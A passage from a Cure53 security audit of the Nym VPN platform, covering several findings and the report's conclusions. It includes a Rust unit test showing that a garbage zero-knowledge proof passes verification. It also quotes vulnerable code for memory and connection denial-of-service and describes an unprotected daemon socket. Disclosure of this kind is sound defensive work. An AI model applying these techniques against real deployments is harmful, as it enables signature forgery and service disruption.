                        put(MediaStore.MediaColumns.RELATIVE_PATH,
Environment.DIRECTORY_DOWNLOADS)
                    }
                val resolver = context.contentResolver
                val uri =
resolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, contentValues)
                if (uri != null) {
                    resolver.openOutputStream(uri).use { output ->
                        output?.write(content)
                    }
                }
            } else {
                val target =
                    File(
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
                        fileName,
                    )
                FileOutputStream(target).use { output ->
                    output.write(content)
                }
            }
            Result.success(Unit)
        } catch (e: Exception) {
            Result.failure(e)
        }
    }
}
```

Affected file #2:
nym-vpn-client/nym-vpn-android/app/src/main/java/net/nymtech/nymvpn/ui/screens/settings/logs/LogsViewModel.kt

Affected code #2:

```
suspend fun saveLogsToFile(): Result<Unit> {
    val file = logCollect.getLogFile().getOrElse {
        return Result.failure(it)
    }
    val fileContent = fileUtils.readBytesFromFile(file)
    val fileName = "${Constants.BASE_LOG_FILE_NAME}-${Instant.now().epochSecond}.txt"
    return fileUtils.saveByteArrayToDownloads(fileContent, fileName)
}
```

To mitigate this issue, Cure53 recommends revisiting whether there is a need to export the logs, considering that the app already has a screen to display them. If it is needed, it is recommended to either clearly notify the user of the risks of saving the logs into the Downloads folder on pressing the button in the UI, or to provide a more secure way to export the logs (i.e. to export them as an email attachment to share appropriately, or with encryption).

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-037 WP5: Verification of CmCs NIZKP succeeds for junk values *(Low)*

During a review of the *nym* repository, it was found that the Coconut protocol uses non-interactive zero knowledge proofs (NIZKP). Dynamic analysis of the verification function of the *CmCs* NIZKP revealed that the *verify* function of the *ProofCmCs* struct does not validate its input parameters with regards to zero scalars or infinity points on the G_1 of BLS12-381. This is similar to the *Kappa-Zeta* NIZKP proof, summarized in issue NYM-01-007. As the Nym API uses *CmCs* NIZKPs as part of generating partial blind signatures, it allows the creation of a signature for zero-valued private attributes together with arbitrary public attributes solely by knowing the public keys used during verification (assumed to be known to an attacker, since they correspond to public keys).

It should be noted that an attacker could use this to acquire signatures from a validator for garbage *CmCs* NIZKPs. Depending on the further usage of this signature, this could result in further, unspecified harm.

The unit test below demonstrates the issue. The test sets all the response variables of the proof to the zero scalar. Furthermore, it sets all commitments (*commitment_attributes, commitments_attributes, commitments*) to the infinity point on G_1, and computes the *commitment* value by summing over the product of public attributes (which are randomly chosen in the test) with the public keys *hs* of the verifier. Ultimately, the test computes the resulting challenge, constructs the *ProofCmCs* struct, and verifies if the NIZKP with garbage values passes the verification.

Unit test:

```
#[test]
fn proof_cm_cs_bytes_roundtrip_verify_garbage_3() {
    let params = setup(4).unwrap();
    let g1 = params.gen1();

    //use the identities
    let zero = Scalar::zero();
    let infinity =  G1Projective::identity();

    //responses set to zeros
    let response_opening = zero;
    let response_openings = vec![zero, zero];
    let response_attributes = vec![zero, zero];

    //commitments set to infinity
    let commitment_attributes = infinity;
    let commitments = vec![infinity, infinity];
    let commitments_attributes = vec![infinity, infinity];

    //random public attributes
    random_scalars_refs!(public_attributes, params, 2);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    //set commitment to public attributes part only
    let commitment = public_attributes
            .iter()
            .zip(params.gen_hs().iter().skip(response_attributes.len()))
            .map(|(&pub_attr, hs)| hs * pub_attr)
            .sum::<G1Projective>();

    let hs_bytes = params.gen_hs().iter().map(|h|
h.to_bytes()).collect::<Vec<_>>();
    let h = compute_hash(commitment, &public_attributes);

    let commitments_attributes_bytes = commitments_attributes.iter().map(|
cm| cm.to_bytes()).collect::<Vec<_>>();
    let commitments_bytes = commitments.iter().map(|cm|
cm.to_bytes()).collect::<Vec<_>>();

    let challenge = compute_challenge::<ChallengeDigest, _, _>(
        std::iter::once(params.gen1().to_bytes().as_ref())
            .chain(hs_bytes.iter().map(|hs| hs.as_ref()))
            .chain(std::iter::once(h.to_bytes().as_ref()))
            .chain(std::iter::once(commitment.to_bytes().as_ref()))
            .chain(commitments_bytes.iter().map(|cm| cm.as_ref()))
            .chain(std::iter::once(commitment_attributes.to_bytes().as_ref(
)))
            .chain(commitments_attributes_bytes.iter().map(|cm|
cm.as_ref())),
    );

    let pi_s = ProofCmCs {
        challenge,
        response_opening,
        response_openings,
        response_attributes,
    };

    assert!(pi_s.verify(&params, &commitment, &commitments,
&public_attributes));
}
```

Running the unit test above results in the output shown below. It is clear that the test passes, thereby demonstrating the successful verification of the garbage *CmCs* NIZKP.

Output:

```
running 1 test
test proofs::tests::proof_cm_cs_bytes_roundtrip_verify_garbage_3 ... ok

successes:
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
successes:
    proofs::tests::proof_cm_cs_bytes_roundtrip_verify_garbage_3

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 51 filtered
out; finished in 0.02s
```

The excerpt below demonstrates the issue. The *verify* function of the *ProofCmCs* struct fails to validate its input data for invalid values.

Affected file:
nym/common/nymcoconut/src/proofs/mod.rs

Affected code:

```
pub(crate) fn verify(
    &self,
    params: &Parameters,
    commitment: &G1Projective,
    commitments: &[G1Projective],
    public_attributes: &[&Attribute],
) -> bool {
    [...]
    // recompute witnesses commitments
    // Cw = (cm * c) + (rr * g1) + (rm[0] * hs[0]) + ... + (rm[n] * hs[n])
    let commitment_attributes = (commitment
        - public_attributes
            .iter()
            .zip(params.gen_hs().iter().skip(self.response_attributes.len()
))
            .map(|(&pub_attr, hs)| hs * pub_attr)
            .sum::<G1Projective>())
        * self.challenge
        + g1 * self.response_opening
        + self
            .response_attributes
            .iter()
            .zip(params.gen_hs().iter())
            .map(|(res_attr, hs)| hs * res_attr)
            .sum::<G1Projective>();

    let commitments_attributes = izip!(
        commitments.iter(),
        self.response_openings.iter(),
        self.response_attributes.iter()
    )
    .map(|(cm_j, r_o_j, r_m_j)| cm_j * self.challenge + g1 * r_o_j + h *
r_m_j)
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    .collect::<Vec<_>>();
    [...]
    // re-compute the challenge
    let challenge = compute_challenge::<ChallengeDigest, _, _>(
        std::iter::once(params.gen1().to_bytes().as_ref())
            .chain(hs_bytes.iter().map(|hs| hs.as_ref()))
            .chain(std::iter::once(h.to_bytes().as_ref()))
            .chain(std::iter::once(commitment.to_bytes().as_ref()))
            .chain(commitments_bytes.iter().map(|cm| cm.as_ref()))
            .chain(std::iter::once(commitment_attributes.to_bytes().as_ref(
)))
            .chain(commitments_attributes_bytes.iter().map(|cm|
cm.as_ref())),
    );

    challenge == self.challenge
}
```

To mitigate this issue, Cure53 advises validating the input data of NIZKPs with regards to infinity points and other unexpected values.

NYM-01-038 WP5: Missing sanity checks in secret sharing reconstruction *(Info)*

During the review of the Coconut implementation, it was noted that the Lagrange interpolation – which is used throughout the protocol – performs some sanity checks on the input, while relying on callers to perform other checks.

In particular, the implementation of the Lagrange interpolation, as performed in the *perform_lagrangian_interpolation_at_origin* function, does not check if two points have the same x-coordinate or not. This check is done by the caller. Furthermore, the function does not check that there is no input with an x-coordinate equal to 0, but in this case the interpolation would always return the value of the point with coordinate 0.

Note that these are essentially sanity checks to catch misconfigurations and programming errors, but no exploit of the missing checks was found. As a consequence, the issue was classified as *Info*, and constitutes a hardening recommendation.

Affected file:
nym/common/nymcoconut/src/utils.rs

Affected code:

```
pub(crate) fn perform_lagrangian_interpolation_at_origin<T>(
       points: &[SignerIndex],
       values: &[T],
) -> Result<T>
where
       T: Sum,
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        for<'a> &'a T: Mul<Scalar, Output = T>,
{
        if points.is_empty() || values.is_empty() {
        return Err(CoconutError::Interpolation(
                "Tried to perform ... for an empty set of
coordinates".to_string(),
        ));
        }

        if points.len() != values.len() {
        return Err(CoconutError::Interpolation(
                "Tried to perform ... for an incomplete set of coordinates"
                .to_string(),
        ));
        }
        // More sanity checks could be added here

        let coefficients =
generate_lagrangian_coefficients_at_origin(points);

        Ok(coefficients
            .into_iter()
            .zip(values.iter())
            .map(|(coeff, val)| val * coeff)
            .sum())
}
```

To mitigate this issue and improve the robustness of the implementation, Cure53 recommends adding the checks mentioned above in order to prevent unexpected situations.

NYM-01-039 WP3: No pagination allows for unbounded credential queries *(Low)*

The Coconut API of nodes contains an endpoint that allows users to query for credentials issued by the node. To run the query, this endpoint supports two ways to query for them: namely by paginated queries, or by query filtering based on a collection of IDs. The latter method fails to enforce a limit on the number of issued credentials returned. Consequently, the node will attempt to load all issued credentials specified in the collection of IDs into memory.

This allows an attacker to query a node for an exhaustive number of credentials, attempting to bring the node out of memory. To that end, the attacker queries the node for an overly-large number of credentials, specified by their respective identifiers. The node attempts to fetch all of them using a single SQL query, consuming a large amount of memory. Depending on the node's configuration, this could bring the node process into an out-of-memory situation, essentially resulting in a DoS situation.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The excerpt below demonstrates the endpoint handling queries of issued credentials. It is clear from the excerpt below that the handler fails to check the number of credential IDs.

Affected file #1:
nym/nym-api/src/coconut/api_routes/mod.rs

Affected code #1:
```
#[post("/issued-credentials", data = "<params>")]
pub async fn issued_credentials(
    params: Json<CredentialsRequestBody>,
    state: &RocketState<State>,
) -> Result<Json<IssuedCredentialsResponse>> {
    let params = params.into_inner();

    if params.pagination.is_some() && !params.credential_ids.is_empty() {
        return Err(CoconutError::InvalidQueryArguments);
    }

    let credentials = if let Some(pagination) = params.pagination {
        [...]
    } else {
        state
            .storage
            .get_issued_credentials(params.credential_ids)
            .await?
    };

    build_credentials_response(credentials).map(Json)
}
```

The excerpt below highlights the missing *LIMIT* constraint in the SQL query to fetch credentials specified by the *credential_ids* parameter of the request.

Affected file #2:
nym/nym-api/src/coconut/storage/manager.rs

Affected code #2:
```
async fn get_issued_credentials(
    &self,
    credential_ids: Vec<i64>,
) -> Result<Vec<IssuedCredential>, sqlx::Error> {
    // that sucks : (
    // https://stackoverflow.com/a/70032524
    let params = format!("?{}", ", ?".repeat(credential_ids.len() - 1));
    let query_str = format!("SELECT * FROM issued_credential WHERE id IN
( {params} )");
    let mut query = sqlx::query_as(&query_str);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    for id in credential_ids {
        query = query.bind(id)
    }

    query.fetch_all(&self.connection_pool).await
}
```

To mitigate this issue Cure53 advises limiting the number of credentials returned via the */issued-credentials* endpoint to a default value, as also implemented for paginated queries.

NYM-01-040 WP3: Potential DoS of gateways via unlimited connections *(Low)*

Nym gateways initially perform a handshake with any new client connecting to the gateway. As part of this handshake, the gateway and client negotiate a shared secret, used for consequent encryption of data. It should be noted that spending a bandwidth credential happens after the initial handshake has completed successfully, and that the gateway waits indefinitely to receive this credential. While reviewing the listener of the gateway for new connections, it was found that the gateway's listener fails to restrict the number of concurrently connected clients.

An attacker could use the missing constraint on the number of connections of a single Nym gateway, and potentially bring a gateway into a DoS situation. To achieve this, the attacker would connect a large number of clients to a single gateway, completing the handshake successfully, but not using a bandwidth credential. The gateway would keep the connections of the attacker open, resulting in a potentially overwhelming amount of open connections. Taken to the extreme, this could exhaust all of the gateway's resources, essentially resulting in a DoS situation.

The excerpt below demonstrates the listener accepting new inbound connections for a gateway. It is clear that the gateway fails to limit the number of inbound connections.

Affected file:
nym/gateway/src/node/client_handling/websocket/listener.rs

Affected code:

```
pub(crate) async fn run<St>(
    [...]
) where
    St: Storage + Clone + 'static,
{
    [...]
    while !shutdown.is_shutdown() {
        tokio::select! {
            [...]
            connection = tcp_listener.accept() => {
                match connection {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                    Ok((socket, remote_addr)) => {
                        trace!("received a socket connection from
{remote_addr}");
                        // TODO: I think we *REALLY* need a mechanism for
having a maximum number of connected
                        // clients or spawned tokio tasks -> perhaps a
worker system?
                        let handle = FreshHandler::new(
                            OsRng,
                            socket,
                            [...]
                        );
                        let shutdown = shutdown.clone().named(format!
("ClientConnectionHandler_{remote_addr}"));
                        tokio::spawn(async move {
handle.start_handling(shutdown).await });
                    }
                    Err(err) => warn!("failed to get client: {err}"),
                }
            }

        }
    }
}
```

To mitigate this issue, Cure53 advises restricting the number of inbound connections, via a gateway's configurable settings.

NYM-01-041 WP2: World-writable Nym-VPN sock lacks access control *(Low)*

It was discovered that the Nym-VPN sock located at */var/run/nym-vpn.sock* utilized for communication between the VPN client and the privileged daemon in the Linux desktop app lacks any form of access control. It can also be accessed by a low-privileged user on the same host, due to its being world-writable.

This facilitates an attacker in issuing valid commands to the daemon, ranging from getting the status of the VPN, to even disconnecting it. The following list contains all reachable methods:

- *VpnConnect*
- *VpnDisconnect*
- *VpnStatus*
- *ImportUserCredential*
- *ListenToConnectionStateChanges*
- *ListenToConnectionStatus*

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Given that a compromised host is required to exploit this issue, its severity was ranked as *Low*.

PoC files:
Relevant files for the PoC were shared with the client via the established Elements chat.

Steps to reproduce:

1. Download all three files provided in the URL above to a Linux host where NymVPN is installed.
2. Make sure *python3* and *pip* is installed, then execute the *pip install grpcio grpcio-tools* command.
3. After all the dependencies are installed, make sure the NymVPN is connected, and then execute the *python3 poc.py* command.

Cure53 advises that there are several different approaches to mitigating this issue. Implementation of some sort of password-based authentication in the daemon, in which the NymVPN client must authenticate before being allowed to issue commands, is one possibility. Another possibility would be to limit connections to the daemon to one, and to warn users via the UI when another process is attempting to connect, so that users could take proper action.

NYM-01-043 WP2: Invalid country included in countries list *(Info)*

While reviewing the source code of *nym-vpn-x* repository, it was observed that there is an invalid country name in the NymVPN desktop application's list of countries. Note that although this does not constitute a security issue, the testing team decided to report this finding as informational for the developers to follow up, as it has been likely kept in the code unintentionally, and should be removed.

Affected file:
nym-vpn-x/src/dev/setup.ts

Affected code:

```
if (cmd === 'get_countries') {
      return new Promise<Country[]>((resolve) =>
        resolve([
          {
            name: 'France',
            code: 'FR',
          },
          {
            name: 'Germany',
            code: 'DE',
          },
          {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            name: 'Switzerland',
            code: 'CH',
          },
          {
            name: 'United States',
            code: 'US',
          },
          {
            name: 'Unknown country with a very long
nammmmmmmmeeeeeeeeeeeeeee',
            code: 'UN',
          },
        ]),
      );
    }
```

In order to ensure readability and good code structure, it is recommended that the invalid country be removed from the list.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, this Q3 2024 penetration test, source code audit, and source code review carried out by Cure53 assessed the security posture of the Nym mobile and desktop applications, backend API, VPN software and infrastructure, as well as their cryptography.

From a contextual perspective, fifty-six working days were allocated to reach the coverage expected for this project. The methodology used conformed to a crystal-box strategy, and a team of six senior testers was assigned to the project's preparation, execution, and finalization.

The Nym and Cure53 teams were connected through a dedicated Element room. Communication was excellent, and help was provided whenever it was requested. The testing team gave frequent updates about the progress of its assessment.

The customer provided access to all source code repositories prior to this engagement, as well as access to the mobile and desktop applications. Furthermore, the team received access to a test environment for the dynamic testing of issues. As the Nym platform relies heavily on cryptography, Cure53 received numerous scientific papers about the schemes in use, as well as extensive documentation on the overall architecture of the Nym platform. This helped the team to quickly grasp the underlying ideas and principles behind the Nym platform. The customer also provided a dedicated presentation clarifying the scope of this engagement.

As a general comment on the assessment, it is worth noting that the testing team noticed many code blocks which contained "todo" comments. Many of these comments concern error handling, which seems to be incomplete in a number of places (see NYM-01-025 as an example), but others are associated with missing functionality, and this sometimes introduces serious vulnerabilities (see NYM-01-030 for an example of this). With this in mind, it is recommended that it is important to systematically revisit these "todo" comments, and to resolve them appropriately.

This section will now take a closer look at the most prominent findings made during the assessment, for each work package.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

WP1: Crystal-box pentests & source code audits against Nym mobile apps

WP1 focused on the NymVPN mobile applications for Android and iOS. Here the team utilized both static and dynamic analysis, combined with white-box testing. The static analysis used here aimed to find suboptimal settings or misconfigurations in the applications that could lead to weaknesses. However, this testing found very little cause for concern. The only relevant finding in this regard was that the Android app supports an outdated SDK version (NYM-01-004), which exposes the app to risks that would otherwise be mitigated.

For Android, the testing team also investigated common attack vectors such as potential access to unexported components via arbitrary intent launches, bypasses of the authentication, faulty broadcast receivers, or possible abuse via an insufficient validation of intent extras. However, no issues were found within the given timeframe. The team searched for hardcoded sensitive information in both the Android and iOS apps, but the code was not found to be vulnerable to the exposure of secrets.

Given the functionality of the applications, during the dynamic analysis phase and source code audit, special focus was placed on checking for the potential leakage of user information and the secure storage of data on devices. With regards to the potential leakage of user information, it was noticed that neither the Android or the iOS app implements security screens on the credentials screen (NYM-01-011). In terms of potential leakage through logging, the Android app was found to use safe practices. However, it was noticed that the app allowed the user to download the logs that the app generates, to a publicly available folder, without explicitly notifying the user about the risks of doing so (NYM-01-036). Although no sensitive data was found in such logs, it is recommended that a secure alternative should be considered. It was also found that where the iOS app is concerned, hostnames on DNS resolution errors are logged (NYM-01-026).

In terms of the secure storage of user information and cryptographic key material used by the NymVPN applications, it was found that Android correctly leverages the use of the keystore via the encrypted preferences. However, the iOS app fails to make proper usage of the native keychain, and leaves the user credentials, as well as the cryptographic key material, unencrypted and in the local storage (NYM-01-024).

Although it is very unlikely to be exploited, and thus represents more of a hardening recommendation, the source code review revealed that several screens of the Android app are vulnerable to XSS. This would, however, require a high-privileged attacker to become capable of tampering with the app package (NYM-01-023).

It was found that both the Android and iOS apps lack root or jailbreak detection, which results in a simplified debugging process for an attacker (NYM-01-010). Mitigating this issue would constitute a defense-in-depth measure, and would improve the apps' resilience to attack.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

As a more general comment of the mobile source code, it is worth noting that the error handling is incomplete in many parts of the code (see NYM-01-025 as a relevant example of this general behavior). The use of unrecoverable errors on several occasions could also lead to DoS (NYM-01-022).

In general - with the exception of the iOS application suffering from an improper use of the native secure storage, which is a relevant flaw - the mobile applications presented a moderately reduced attack surface, with mostly minor findings made by the team. However, it is still recommended that these findings are addressed, in order to enhance the overall security posture of the applications.

WP2: Crystal-box pentests & source code audits against Nym desktop apps

WP2 focused on the NymVPN desktop apps for Windows, Linux, and macOS. Testing began with the NymVPN desktop apps for Windows and Linux, which leverage the Tauri framework. This generally broadens the attack surface compared to purely native applications, given that the apps using Tauri combine both web and native components. Due to this, the testing team focused on two fronts: on one hand reviewing the frontend components for client-side issues, and on the other, the Rust side, which is reachable and communicated to through a sock / pipe via a gRPC client.

The client-side components rendered by Tauri in WebView2 (Windows) and WebKit (Linux), are constructed using the tried-and-trusted React framework. This means that the attack surface is substantially reduced by default. However, certain vulnerabilities can arise from React misconfigurations, and this prompted the testers to probe the UI for circumstances correlating with such issues. For example, the team sought to ensure that user-controlled input is not fed into anchor tag links, arbitrarily configured as component properties, or set directly as HTML. This investigation led to the team's discovery that a malicious repository URL could be loaded under the Licenses section of the desktop application under very specific circumstances, leading to arbitrary JavaScript execution in the context of the client (XSS) if it were to be clicked (NYM-01-023).

Additionally, usage of *dangerouslySetInnerHTML*, location sinks, and other potentially insecure properties was checked, but no further issues were uncovered. This was in part due to the very few places in which user-controlled data could be inputted, which was positively noted by the team.

Moving to other components, it was observed that in Windows and Linux, the daemon is a separate component, and communication with it happens via a gRPC client connecting to a Unix socket (Linux), or a pipe (Windows). Thus the testing team focused on mapping the exposed methods (via the *vpn.proto* file), and checking each one individually for issues. The code was checked for privilege escalation, remote code execution, local file read / write issues, as well as insecure inter-process communication (IPC) handling.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

While carrying out this testing, it was discovered that the NymVPN sock on Linux is world-writable and any low-privileged user on the same host can connect to it and issue commands (NYM-01-041).

The configuration file utilized by the client was also subjected to tests, where malformed config files were created to see whether the client properly handled them. Additionally, privilege escalation tests were conducted, by verifying whether the aforementioned file had the correct permissions set, or if they could be modified by other unprivileged users.

Source code review revealed systematic flaws in the distribution of traffic, as the desktop applications had France and Germany hard-coded as countries with the "fastest mixnet nodes" (NYM-01-016). As a minor comment, during the source code review, an invalid country name was found in the list of countries (NYM-01-043), and it is recommended that this is removed.

Cure53's analysis looked at the integrity and security of the software's supply chain aspects, particularly scrutinizing dependencies. The testers investigated whether these are current / susceptible to known vulnerabilities. Some room for improvement was found here (NYM-01-028).

It was found that the macOS desktop client for NymVPN requires the granting of root access to the entire binary, including the WebView stack, which significantly increases the attack surface (NYM-01-017).

In summary for WP2, the desktop applications were found to be in a good state from a security perspective. However, addressing the identified vulnerabilities and issues is still highly recommended, in order to close the existing attack surface.

WP3: Crystal-box pentests & source code audits against Nym backend API

WP3 covered the API of the Nym backend components. The Nym platform consists of multiple backend components, including validators, gateways, and mixnodes. Validators were excluded from this assessment. All backend components were written in Rust. The code is distributed over different folders, and well organized. The team found it straightforward to grasp the underlying ideas.

Testing began with investigation of the threat model and general security assumptions of NymVPN's backend complex. It was found that NymVPN's reliance on a single URL endpoint for fetching gateway lists makes it vulnerable to censorship and ISP-level attacks (NYM-01-018). Recommendations for mitigation here include the implementation of cryptographic integrity verification using distributed ledger technology, and diversification of gateway information retrieval methods, in order to improve resilience.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The backend services were reviewed for sinks of code execution. It was positively noted that the services do not make use of any of such sinks directly, and the team did not manage to identify any issues in this regard during the given timeframe. The serialization and deserialization of data was also carefully examined.

The services use SQL databases to persist information. It was verified that the services use prepared statements in all cases, effectively mitigating SQL injection (SQLi) vulnerabilities.

Both gateway and mix nodes were thoroughly investigated for DoS situations, as such issues constitute a major problem for connectivity platforms like Nym. It was found that both gateways and mix nodes suffer from several potential DoS situations, as summarized in the issues NYM-01-022, NYM-01-031, NYM-01-039, and NYM-01-040.

The services were also investigated for bypasses in authentication and authorization. For the backend API, the team did not manage to identify a direct bypass of the authentication and authorization. However, it must still be pointed out that gateways, in principle, are vulnerable to replay attacks of encrypted addresses which they use during the authentication of clients (NYM-01-029). Cure53 analyzed the formal requirements of the Sphinx protocol. The prevention of replay attacks and a reliable deduplication of messages is of great importance for anonymity. Under the assumption that replay attacks are reliably prevented, the protocol does achieve a very high degree of anonymity. However, it was discovered that replay attacks constitute an issue for mix nodes using the Sphinx protocol, since it was found that mix nodes fail to deduplicate packets, that could be used by an attacker to mount a DoS attack on the mixnet of Nym (NYM-01-020).

Since gateways and mix nodes forward traffic based on destination addresses, the team investigated whether gateways and mix nodes are vulnerable to SSRF attacks. In the given timeframe, the team did not manage to find an exploitable issue relating to gateways, however, the team did find a blind SSRF issue in the mix nodes (NYM-01-019).

It was found that Nym network monitors generate fresh long-term identity keys on each initialization, undermining security and trust (NYM-01-034). The implementation of persistent key storage with a controlled rotation strategy is recommended, in order to maintain consistent monitor identity.

The implementation of sensitive operations in non-constant time was investigated in the backend and API, as well as in the rest of the code, to assess potential timing attacks through side-channels. Although the team found this line of investigation to be generally unfruitful, it was found that a comparison of access tokens is not performed in constant-time where the API is concerned (NYM-01-021).

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Cure53 also carried out an in-depth investigation into the Bloom filter implementation used by the Nym backend complex. It was found that the current Bloom filter configuration in Nym gateways results in a high false positive rate, which significantly hinders the proper functioning of the Nym network (NYM-01-032). Importantly, Cure53 found that the Nym gateway's credential verification process skips critical Bloom filter checks in some code paths, potentially allowing double-spend attacks (NYM-01-030). It is recommended to implement Bloom Filter checks consistently across all verification paths, preferably in a centralized location. Furthermore, the Nym gateway uses Bloom Filters for duplicate credential detection, but these have been largely superseded by Binary Fuse Filters, which provide better memory efficiency and query performance while maintaining a low false positive rate (NYM-01-001).

It is worthy of note that the team also discovered a free-riding issue that was inherently built into the platform at the time of testing. Due to this, an attacker could simply bypass the gateways of the Nym platform, sending traffic directly to the nodes of the mixnet. This effectively constitutes a free-riding vulnerability in which the attacker is able to use the Nym platform without paying for it. Following discussion with the customer, Cure53 found that the Nym team is aware of this issue, and is working on a fix for it.

Relating to key generation, the team found that the verification of Coconut credentials, in principle, accepts epochs from the arbitrary past when verifying a bandwidth credential. Since the full impact of this remained unclear to Cure53, it was decided to provide this observation within the conclusion notes for a follow-up by the Nym team.

Overall, the Nym backend and API appear to be in a moderate state from a security perspective. While some categories of vulnerabilities have been properly mitigated and prevented, there is still room for improvement in security posture. Further to this, the team recommends performing a dedicated penetration test of the validator nodes, as well as the smart contracts used by the Nym platform.

WP4: Crystal-box pentests & source code audits against Nym VPN software & infra

WP4 involved a review of the NymVPN software, with a focus on common attack vectors. The team started by investigating the core VPN functionality. Specifically, the team reviewed the Rust implementation of the key VPN components, including protocol handling, encryption, network management, and DNS resolution. Furthermore, the team investigated whether the implementation ensured a proper implementation for IP routing, tunneling, and overall network stack integration.

Next, the team moved on to checking for common security measures. Such security measures included the implementation of critical security features such as secure credential storage, leak prevention, kill switch functionality, and the mitigation of known VPN vulnerabilities. The team also verified the robustness of the encryption and key management systems.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Following this, the desktop frontend (also covered by WP2) was investigated, and the team analyzed the Tauri-based UI for design, usability, and efficient integration with the Rust core via FFI. The repository was also assessed for platform-specific requirements and performance across Windows, macOS, and Linux.

Finally, error handling and logging were checked. Specifically, the team assessed whether error reporting could be considered comprehensive, as well as the utility of debug logs for troubleshooting. Checks were made to ensure that logs provided valuable information without compromising security.

Since no indications of possible vulnerabilities were found during the WP4 analysis, the testing team did not need to use the testing environment provided by the customer to confirm any issues. Further, since the deployment of the testing instance was relatively constrained (NymVPN apps were not working, for example), no other attack avenues were explored on the testing environment itself.

In summary, the components of WP4 were found to be in an excellent state from a security perspective. No issues were discovered for this work package.

WP5: Crystal-box pentests & source code audits against Nym cryptography

WP5 comprised an audit of the cryptography of the Nym platform. The customer requested that special focus should be placed on the Coconut crate, the Sphinx protocol, the Outfox protocol, as well as several other commonly used cryptographic primitives.

The source code of all schemes is written entirely in Rust. The source code is very well organized, and it was straightforward for the auditors to familiarize themselves with the code. The schemes include symmetric and asymmetric cryptography, ranging from encryption schemes, to signing algorithms, and non-interactive zero-knowledge proofs.

The signatures schemes were checked for flaws such as signature bypasses and flaws in the verification of signatures. The test revealed several *Critical* issues in these regards (NYM-01-009, NYM-01-014). These issues allow the verifier of a signature to be tricked into accepting invalid signatures through infinity points of the BLS12-381 scheme. Especially when utilized by the Coconut protocol, the signature schemes were also checked for forgery attacks or DoS situations. The code did not exhibit any vulnerabilities in these regards in the Coconut protocol. However, it was discovered that the top-level API of the Coconut library offers a signing function for Pointcheval-Sanders signatures using BLS12-381, intended for signing public attributes. It was discovered that this implementation suffers from a *Critical* signature forgery vulnerability (NYM-01-033), which allows an attacker to construct forged signatures via linear combinations of valid signatures.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Cure53 also reviewed Nym's offline eCash scheme. Here, the team managed to identify several flaws. Firstly, Nym's offline eCash scheme uses *H(payInfo)* to generate unique identifiers, risking hash collisions between vendors (NYM-01-008). Switching to an HKDF construction with vendor IDs is recommended, to improve uniqueness, security, and scalability. Further, it was found that the offline eCash implementation in Nym is vulnerable to a partial signature bypass (NYM-01-014), similar to the issue found in the Coconut implementation. It's strongly advised to implement checks for infinity points and other invalid inputs in all signature verification functions. Lastly, it was discovered that the aggregation of signatures into a single signature is vulnerable to annihilation, essentially resulting in an invalid signature which successfully verifies as part of the aggregation (NYM-01-042).

The Coconut protocol uses blinding to hide information from signers. The team investigated whether the blinding scheme leaks information to a signer, and it was positively concluded that no information leaks unintentionally in this way.

The Coconut protocol involves two non-interactive zero knowledge proofs (NIZKPs). The team investigated whether the verifier could be tricked or bypassed with invalid proofs, but did not manage to identify such an exploit, which is a positive sign. However, the verifier still suffers from the accepting and successful verifying of proofs for invalid input data. This includes, for example, infinity points and similar. These issues were summarized in NYM-01-007 and NYM-01-037 for both utilized NIZKPs. Cure53 then investigated whether these proofs could be abused through the API of Nym, but in the given timeframe, the team did not manage to build an exploit. Furthermore, it was discovered that the NIZKPs suffer from hash collisions in challenges (NYM-01-006), as well as replay attacks (NYM-01-012), due to the lack of context information.

Both the Coconut protocol and its library were checked for DoS situations. The team could not identify any issues of this sort.

The Nym platform uses symmetric cryptography to encrypt data. To that end, the majority of schemes utilize AES128 in counter mode (AES128-CTR). Here, a *Critical* vulnerability was identified, since clients and Nym gateways encrypt data using AES128-CTR, and use the same key, together with a zero nonce, for all data (NYM-01-027). Although it is, strictly speaking, a cryptographic flaw, this issue was assigned to WP3, as it applies exclusively to communication between the gateway and clients.

